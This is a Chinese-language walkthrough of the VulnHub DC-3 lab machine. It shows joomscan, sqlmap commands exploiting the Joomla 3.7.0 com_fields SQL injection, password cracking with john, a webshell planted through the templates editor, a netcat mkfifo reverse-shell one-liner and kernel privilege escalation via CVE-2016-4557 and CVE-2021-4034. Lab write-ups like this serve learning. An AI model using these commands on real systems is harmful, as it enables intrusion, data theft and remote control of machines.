vulnhub DC3
考点
1 | 总结:joomscan工具的使用,cve-2016-4557内核提权或者cve-2021-4034内核提权 |
现扫一下看开放了哪些端口
只开放了一个80端口
看起来像是个网页,然后进行访问
发现这是一个cms框架
于是就用到了这个工具来查看这个网站是否存在漏洞
Joomla!是一套全球知名的内容管理系统,Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统。
这里需要使用一个工具joomscan 因为最新kali没有 又去装了一下又学习了一下。
(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。
1 | git clone https://github.com/rezasp/joomscan.git |
1 | cd joomscan |
1 | perl joomscan.pl |
一些最基本的参数 使用命令:perl joomscan.pl --url 192.168.142.130
发现漏洞
通过上面的 探测我们可以知道Joomla
的版本 3.7.0
以及CMS的后台地址/administrator/
(说明工具还是强大的,爆赞👍)并且还没开防火墙
这里知道版本号就尝试查找这个版本的漏洞
就是利用这个工具来进行查找(kali自带)
msf也能查询到,但是不知道能不能进行利用
存在sql注入
那么我们就进行漏洞利用 后面的path有利用方法
那么我们就进行访问那个方法
1 | cp /usr/share/exploitdb/exploits/php/webapps/42033.txt j.txt |
就直接用sqlmap来打
查询到好几个数据库
接下来就是查找当前网站用的数据库是哪个
1 | sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] |
接下来就是查表
1 | sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] |
查出来一堆表
这里的话就注重查询#__users
注入查询#__users表 发现有6列 知道列了就可以进行下一步字段的操作
1 | sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering] |
发现存在用户名和密码
然后进行查询
1 | sqlmap -u "http://192.168.142.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering] |
1 | username:admin |
发现密码进行了加密(还是使用之前用的john进行破解)
爆破出密码 ——-> snoopy
然后根据之前查出来的后台登录就行
登录成功
成功登录进去后,我们开始寻找可以利用的点,最终我们在templates下面找到一个可以创建文件并且可以写文件的地方。于是,尝试写入一句话木马
这里就是一个漏洞利用点
写进来后我们就得去找上传地址了
根据这两条猜出来的结论
成功执行,代表上传成功
成功连上蚁剑
查看虚拟终端发现不是root权限,所以我们就尝试一下进行提权
尝试了一圈发现suid和sudo用不了来进行提权,那么我们就得尝试别的方法了
这里话蚁剑不适合提权,也不好进行操作,我们就尝试弹个shell回到本机
(首先需要明确,不能使用蚁剑提权,因为HTTP是瞬时协议,我这边正提权呢,你那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。)
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.142.129 4444 >/tmp/f |
这个是php的反弹shell操作
反弹shell成功
接下来整一个python交互的shell好进行操作
1 | python -c "import pty;pty.spawn('/bin/bash')" |
设置成功
这里由于前两个点提权不成功,那么我们就尝试进行内核提权
内核提权
先进行内核的查看
1 | uname -a |
1 | lsb_release -a # 查看发行版本 |
于是就使用searchsploit
这两个玩意确实存在漏洞
cve-2016-4557
1 | searchspolit -x linux/local/39772.txt |
还会把CVE告诉你
于是访问这个本地的这个完整地址
发现给了一个exp下载地址
1 | //将exp下载过来 |
这就是利用内核提权
cve-2021-4034
CVE-2021-4034 pkexec 本地提权漏洞利用解析 这篇文章也可以进行利用
测试环境,比上面的环境还要新
1 | //使用git命令将exp复制到靶机中 |
总结
学到了几个工具的使用
joomscan —-> 针对joom的cms的
searchspolit ——-> 查找exp的 例如cms 内核版本
john ———> 爆破加密密码
sqlmap 就是经常用的工具了